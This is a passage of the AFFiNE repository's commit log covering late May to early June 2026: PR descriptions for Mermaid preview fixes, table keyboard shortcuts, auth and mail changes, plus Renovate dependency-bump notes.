text on dark backgrounds for edge and title text.
4. **Embedded CSS** — Mermaid’s inline SVG styles often do not apply
after sanitization, leaving text without a visible `fill`.

## Changes

### Classic renderer (`classic-mermaid.ts`)

- Set root-level `htmlLabels: false` (Mermaid 11+).
- Map `dark` theme to Mermaid’s built-in `dark` palette.

### Sanitization (`bridge.ts`)

- Allow `<use>` and `xlink:href` / `href` for label references.
- Allow `class`, `style`, and `id` on SVG nodes.
- **Sanitize** `foreignObject` inner HTML with DOMPurify instead of
deleting it.

### Preview UI (`mermaid-preview.ts`)

- Sync render theme with app `data-theme` (`default` / `dark`) and
re-render on theme change.
- Add CSS overrides so `text` / `tspan` and HTML inside `foreignObject`
use AFFiNE `text/primary`.

### Native / mobile (`preview.rs`)

- Map `dark` and `modern` themes to the modern renderer options (light
uses `default`).

### Types & tests

- Extend `MermaidRenderTheme` with `'dark'`.
- Update unit tests for sanitization and classic config.
- Add integration test (skips when the test environment cannot lay out
Mermaid).

## Test plan

- [ ] Hard refresh or restart `yarn dev`.
- [ ] Create a `mermaid` code block: `graph TD; A-->B` → enable
**Preview**.
- [ ] Confirm labels **A** and **B** appear inside nodes and on the
edge.
- [ ] Toggle AFFiNE **light** / **dark** theme; confirm preview updates
and text stays readable.
- [ ] Run unit tests:
  ```bash
yarn vitest run
packages/frontend/core/src/modules/code-block-preview-renderer/
  ```
- [ ] (Optional) With **Enable Native Mermaid Renderer** enabled in
experimental settings, repeat the manual check.

## Notes for reviewers

- Security: `foreignObject` content is sanitized with the HTML profile;
scripts are stripped.
- The integration test intentionally skips when Mermaid produces an
empty diagram (e.g. happy-dom without full browser layout).


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Mermaid diagrams now adapt to the app's dark or light theme and update
in real time.

* **Improvements**
* SVG sanitization now preserves diagram labels and foreignObject text
while removing unsafe content.
* Classic Mermaid rendering adjusted to keep text labels intact for
previews.

* **Tests**
* Added unit and integration tests covering Mermaid rendering and SVG
sanitization.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-03 16:20:34 +08:00
DarkSky 81760fd45c chore: cleanup legacy logic (#15072) 2026-06-03 16:20:15 +08:00
renovate[bot] 8c0e1ba04e chore: bump up linter to v1.68.0 (#15069)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-oxlint](https://redirect.github.com/oxc-project/eslint-plugin-oxlint)
| [`1.67.0` →
`1.68.0`](https://renovatebot.com/diffs/npm/eslint-plugin-oxlint/1.67.0/1.68.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-oxlint/1.68.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-oxlint/1.67.0/1.68.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/eslint-plugin-oxlint
(eslint-plugin-oxlint)</summary>

###
[`v1.68.0`](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/releases/tag/v1.68.0)

[Compare
Source](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.67.0...v1.68.0)

*No significant changes*

#####     [View changes on
GitHub](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.67.0...v1.68.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDYuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-03 02:40:13 +08:00
DarkSky aca47445aa feat(client): migration old package to rspack (#15068)
#### PR Dependency Tree


* **PR #15068** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Upgraded Vitest across packages to 4.1.8 and bumped Tailwind PostCSS
to 4.3.0
* CLI/tooling updated to support the media-capture-playground package
and adjust build/dev server behavior

* **Bug Fixes**
  * Improved workspace deletion reliability in the Electron app

* **Refactor**
* Simplified media capture playground build setup (build/config
adjustments)

* **Tests**
* Made tests more robust by preserving/restoring environment state
during runs
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-02 12:00:50 +08:00
Jessy Latmi 69c2f09eba fix(editor): keyboard shortcuts in table cells (#15067)
## Description
Fixes keyboard shortcuts for text formatting (Ctrl+B, Ctrl+I, Ctrl+U,
etc.) not working inside table cells.
## Changes
- **Modified `table-cell.ts`**: Updated the `_handleKeyDown` method to
only prevent default behavior for Tab key and allow other keyboard
events to propagate, enabling text formatting shortcuts to work properly
- **Created `table-keymap.ts`**: New module that registers the
`textKeymap` for table blocks, ensuring text formatting shortcuts are
available in table cells
- **Updated `view.ts`**: Registered the `TableKeymapExtension` in the
table view extension setup
- **Cleaned up `format.ts`**: Removed unnecessary `TextSelection` check
that was preventing shortcuts from working in table contexts
## Closes
Closes #13916 #12127

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved Tab key handling within table cells for more consistent
keyboard navigation.
* Simplified read-only detection for keyboard shortcuts to avoid
unexpected behavior.

* **Refactor**
* Reworked table keyboard mapping and registration to streamline
shortcut handling and event flow.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-02 10:52:05 +08:00
Ahsan Khaleeq 75f4c0eede feat(editor): add block button for hovering blocks (#14879)
This PR implements [feature request] #14845 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Add-block control that appears when hovering blocks in page mode to
insert and auto-focus a new paragraph; control hides after insertion.

* **Improvements**
* Improved hover and interaction handling to avoid accidental triggers
when interacting with the drag handle or add-block control.
* Consistent sizing, positioning, and visibility behavior for the
add-block control.

* **Style**
  * Moved heading icon slightly for improved visual alignment.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-06-02 01:16:17 +08:00
DarkSky 38110de134 fix(core): desktop e2e (#15062)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Sign-in flows now reliably propagate richer authentication results
(user data and session type), improving persistence and reducing
intermittent sign-in issues.
* Native token handling gains a fallback for environments without
encrypted storage, improving session reliability.

* **New Features**
* User-visible warning when sign-in is session-only because encrypted
storage is unavailable.

* **Chores**
  * Tooling ignore patterns updated to exclude .codex.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-01 23:54:41 +08:00
DarkSky 7123595831 chore: bump deps (#15059)
#### PR Dependency Tree


* **PR #15059** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Configurable minimum account age before new accounts can invite
members or create share links (default: 24 hours).
* Sign-in now returns and caches user info for improved session
handling.

* **Bug Fixes**
  * Queue handling accepts and resolves job IDs with special characters.
* Improved clipboard/rich-text caret handling and nested-list paste
reliability.
  * Calendar tests use dynamic current-month dates.
  * AI search returns explicit "No matching documents" when none found.
  * Auth session responses are explicitly non-cacheable.

* **Chores**
* Dependency and toolchain bumps; admin UI config/schema exposes the new
account-age setting.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-01 20:13:59 +08:00
Marsssssssssssdsss 78cf402141 fix: handle empty results in MCP keyword_search tool (#15058)
## Description

Fixes: #15038 — MCP keyword_search tool errors with "Unexpected response
type" when no results are found.

### Problem

When the MCP `keyword_search` tool returns no matching documents, the
access control `.docs()` method may return `undefined`/`null` for an
empty input array. Calling `.map()` on this value throws an error, and
the MCP framework wraps it as "Unexpected response type".

### Solution

Added a guard check after the permission filtering step. If the result
is empty or null, the tool now returns a proper informational response
instead of throwing.

### Changes

- `packages/backend/server/src/plugins/copilot/mcp/provider.ts`: Added
null/empty check before `docs.map()` in the keyword_search tool execute
function.

### Testing

- **Before**: `keyword_search` with a non-existent keyword throws
"Unexpected response type"
- **After**: `keyword_search` with a non-existent keyword returns `{
content: [{ type: 'text', text: 'No matching documents found.' }] }`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Prevented errors when document data is missing, improving search
stability.
* Improved search feedback by displaying a clear "No matching documents
found." message instead of empty results.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-01 17:56:42 +08:00
DarkSky ebd3e62ed9 fix(server): canary may missing changelog (#15061)
fix #15027 


#### PR Dependency Tree


* **PR #15061** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved handling of missing release notes during upgrade checks. The
changelog field now defaults to an empty value when release information
is unavailable.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-01 17:11:35 +08:00
DarkSky ce9841df9d feat(server): passkey pre-refactor (#15060)
#### PR Dependency Tree


* **PR #15060** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* OpenApp native sign-in and native session exchange (JWT) for mobile &
desktop.
  * Centralized short-lived auth challenge store for one-time tokens.
* Encrypted per-endpoint token storage and native token handlers
(Android, iOS, Electron).

* **Improvements**
* Richer auth-method reporting (password, magic link, OAuth, passkey)
and improved sign-in flows.
* Hardened magic-link, OAuth, and session issuance; JWT-backed sessions
and websocket JWT support.
* UX tweaks: form-based password submit, OTP autocomplete, adjusted
captcha flow.

* **Bug Fixes**
  * Expanded tests and auth-state resets to avoid cross-test leakage.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-01 17:11:15 +08:00
renovate[bot] 5b9d51b41b chore: bump up RevenueCat/purchases-ios-spm version to from: "5.75.0" (#15048)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm)
| minor | `from: "5.74.0"` → `from: "5.75.0"` |

---

### Release Notes

<details>
<summary>RevenueCat/purchases-ios-spm
(RevenueCat/purchases-ios-spm)</summary>

###
[`v5.75.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.74.0...5.75.0)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.74.0...5.75.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDIuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIwMi4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-31 04:07:47 +08:00
renovate[bot] 18471ef9b2 chore: bump up oxlint version to v1.67.0 (#15047)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [oxlint](https://oxc.rs/docs/guide/usage/linter)
([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint))
| [`1.66.0` →
`1.67.0`](https://renovatebot.com/diffs/npm/oxlint/1.66.0/1.67.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/1.67.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/1.66.0/1.67.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

###
[`v1.67.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1670---2026-05-26)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.66.0...oxlint_v1.67.0)

##### 🚀 Features

-
[`b84941e`](https://redirect.github.com/oxc-project/oxc/commit/b84941e)
linter/vue: Implement no-expose-after-await rule
([#&#8203;22675](https://redirect.github.com/oxc-project/oxc/issues/22675))
(bab)
-
[`98b98c1`](https://redirect.github.com/oxc-project/oxc/commit/98b98c1)
linter/vue: Implement no-computed-properties-in-data rule
([#&#8203;22674](https://redirect.github.com/oxc-project/oxc/issues/22674))
(bab)
-
[`2d4c919`](https://redirect.github.com/oxc-project/oxc/commit/2d4c919)
oxlint: Support `vite-plus/resolveConfig` for vite.config.ts
([#&#8203;22456](https://redirect.github.com/oxc-project/oxc/issues/22456))
(leaysgur)
-
[`2a60012`](https://redirect.github.com/oxc-project/oxc/commit/2a60012)
linter/vue: Implement require-render-return rule
([#&#8203;22613](https://redirect.github.com/oxc-project/oxc/issues/22613))
(bab)
-
[`9f227fd`](https://redirect.github.com/oxc-project/oxc/commit/9f227fd)
linter/vue: Implement no-deprecated-props-default-this rule
([#&#8203;21892](https://redirect.github.com/oxc-project/oxc/issues/21892))
(bab)
-
[`87f065e`](https://redirect.github.com/oxc-project/oxc/commit/87f065e)
linter/vue: Implement return-in-emits-validator rule
([#&#8203;21935](https://redirect.github.com/oxc-project/oxc/issues/21935))
(bab)
-
[`ea0380c`](https://redirect.github.com/oxc-project/oxc/commit/ea0380c)
linter/unicorn: Implement `import-style` rule
([#&#8203;22173](https://redirect.github.com/oxc-project/oxc/issues/22173))
(Hao Chen)
-
[`dde40fe`](https://redirect.github.com/oxc-project/oxc/commit/dde40fe)
linter/vue: Implement no-watch-after-await rule
([#&#8203;22006](https://redirect.github.com/oxc-project/oxc/issues/22006))
(bab)
-
[`a735eb0`](https://redirect.github.com/oxc-project/oxc/commit/a735eb0)
linter/vue: Implement valid-next-tick rule
([#&#8203;22531](https://redirect.github.com/oxc-project/oxc/issues/22531))
(bab)
-
[`6dc615d`](https://redirect.github.com/oxc-project/oxc/commit/6dc615d)
linter/vue: Implement no-shared-component-data rule
([#&#8203;21842](https://redirect.github.com/oxc-project/oxc/issues/21842))
(bab)
-
[`a656418`](https://redirect.github.com/oxc-project/oxc/commit/a656418)
linter/vue: Implement valid-define-options rule
([#&#8203;22107](https://redirect.github.com/oxc-project/oxc/issues/22107))
(bab)
-
[`bb6f1b2`](https://redirect.github.com/oxc-project/oxc/commit/bb6f1b2)
linter/vue: Implement require-slots-as-functions rule
([#&#8203;22244](https://redirect.github.com/oxc-project/oxc/issues/22244))
(bab)
-
[`5fa4774`](https://redirect.github.com/oxc-project/oxc/commit/5fa4774)
linter/n: Implement `callback-return` rule
([#&#8203;22470](https://redirect.github.com/oxc-project/oxc/issues/22470))
(Mikhail Baev)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDIuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIwMi4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-31 04:07:20 +08:00
steffenrapp 7a575a4a5b fix: hide experimental settings for doc and folder icons (#15021)
should fix #13955
The emoji doc and folder icons have been officially released with v0.25
but the experimental settings were still available with no effect if
switched.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Feature flags for emoji folder and document icons are no longer
user-configurable.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15021?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-31 04:06:49 +08:00
renovate[bot] f5fc7c8c00 chore: bump up eslint-plugin-oxlint version to v1.67.0 (#15036)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-oxlint](https://redirect.github.com/oxc-project/eslint-plugin-oxlint)
| [`1.66.0` →
`1.67.0`](https://renovatebot.com/diffs/npm/eslint-plugin-oxlint/1.66.0/1.67.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-oxlint/1.67.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-oxlint/1.66.0/1.67.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/eslint-plugin-oxlint
(eslint-plugin-oxlint)</summary>

###
[`v1.67.0`](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/releases/tag/v1.67.0)

[Compare
Source](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.66.0...v1.67.0)

*No significant changes*

#####     [View changes on
GitHub](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.66.0...v1.67.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xOTQuMCIsInVwZGF0ZWRJblZlciI6IjQzLjE5NC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-31 00:07:16 +08:00
renovate[bot] 7d3e38d652 chore: bump up nestjs (#15035)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/)
([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`3.2.0` →
`3.2.1`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/3.2.0/3.2.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/3.2.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/3.2.0/3.2.1?slim=true)
|
|
[@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/)
([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.3.4` →
`1.3.5`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.3.4/1.3.5)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.3.5?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.3.4/1.3.5?slim=true)
|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`11.1.23` →
`11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.23/11.1.24)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/11.1.24?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/11.1.23/11.1.24?slim=true)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`11.1.23` →
`11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.23/11.1.24)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/11.1.24?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/11.1.23/11.1.24?slim=true)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`11.1.23` →
`11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.23/11.1.24)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/11.1.24?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/11.1.23/11.1.24?slim=true)
|
| [@nestjs/platform-socket.io](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io))
| [`11.1.23` →
`11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.23/11.1.24)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/11.1.24?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/11.1.23/11.1.24?slim=true)
|
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets))
| [`11.1.23` →
`11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.23/11.1.24)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/11.1.24?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/11.1.23/11.1.24?slim=true)
|

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

###
[`v3.2.1`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/v3.2.1)

[Compare
Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@3.2.0...@nestjs-cls/transactional@3.2.1)

- fix: `has` method respects falsy values
([#&#8203;57](https://redirect.github.com/Papooch/nestjs-cls/issues/57))
[`69f06e7`](https://redirect.github.com/Papooch/nestjs-cls/commit/69f06e7)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v11.1.24`](https://redirect.github.com/nestjs/nest/compare/v11.1.23...v11.1.24)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.23...v11.1.24)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

###
[`v11.1.24`](https://redirect.github.com/nestjs/nest/compare/v11.1.23...v11.1.24)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.23...v11.1.24)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

###
[`v11.1.24`](https://redirect.github.com/nestjs/nest/compare/v11.1.23...v11.1.24)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.23...v11.1.24)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

###
[`v11.1.24`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.24)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.23...v11.1.24)

##### v11.1.24 (2026-05-25)

##### Bug fixes

- `core`
- [#&#8203;17009](https://redirect.github.com/nestjs/nest/pull/17009)
fix(core): reset dependency-tree cache on metadata changes
([@&#8203;puneetdixit200](https://redirect.github.com/puneetdixit200))

##### Enhancements

- `core`
- [#&#8203;16997](https://redirect.github.com/nestjs/nest/pull/16997)
feat(core): warn on late websocket adapter registration
([@&#8203;hbinhng](https://redirect.github.com/hbinhng))

##### Dependencies

- `platform-ws`
- [#&#8203;17011](https://redirect.github.com/nestjs/nest/pull/17011)
chore(deps): bump ws from 8.20.1 to 8.21.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 2

- Nguyễn Hải Bình
([@&#8203;hbinhng](https://redirect.github.com/hbinhng))
- Puneet Dixit
([@&#8203;puneetdixit200](https://redirect.github.com/puneetdixit200))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xOTQuMCIsInVwZGF0ZWRJblZlciI6IjQzLjE5NC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-31 00:06:59 +08:00
DarkSky b05c387f96 fix(server): mail test & retry (#15044)
#### PR Dependency Tree


* **PR #15044** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Stop sending notifications to disabled users; skip member invites when
workspace names contain URLs/domains
* Improve mail retry handling (per-recipient exhaustion, expiry, and
cache cleanup)
  * Make many email headers/lead lines more generic and consistent
  * Fail-safe workspace content parsing to avoid crashes

* **New Features**
* 24-hour signup protection for sharing, invites, and invite-link
creation
  * Job-queue: remove jobs by payload predicate

* **Tests**
* Expanded tests for mail jobs, SMTP hostname handling, payment
checkout, job-queue removal, and abuse-detection utilities
  * Updated test fixtures to set createdAt timestamps for new users

* **Chores**
  * Added required name input for test-email mutation
  * Database flush retry with deadlock detection/backoff

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15044?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-31 00:06:29 +08:00
renovate[bot] 2bd920fea6 chore: bump up @inquirer/prompts version to v8 (#15025)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@inquirer/prompts](https://redirect.github.com/SBoudrias/Inquirer.js/blob/main/packages/prompts/README.md)
([source](https://redirect.github.com/SBoudrias/Inquirer.js)) |
[`^7.10.1` →
`^8.0.0`](https://renovatebot.com/diffs/npm/@inquirer%2fprompts/7.10.1/8.5.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@inquirer%2fprompts/8.5.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@inquirer%2fprompts/7.10.1/8.5.0?slim=true)
|

---

### Release Notes

<details>
<summary>SBoudrias/Inquirer.js (@&#8203;inquirer/prompts)</summary>

###
[`v8.5.0`](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.4.3...5ca6d1101d5d3f8fb066cd5b389bccfdafbbe0c0)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.4.3...@inquirer/prompts@8.5.0)

###
[`v8.4.3`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.4.3)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.4.2...@inquirer/prompts@8.4.3)

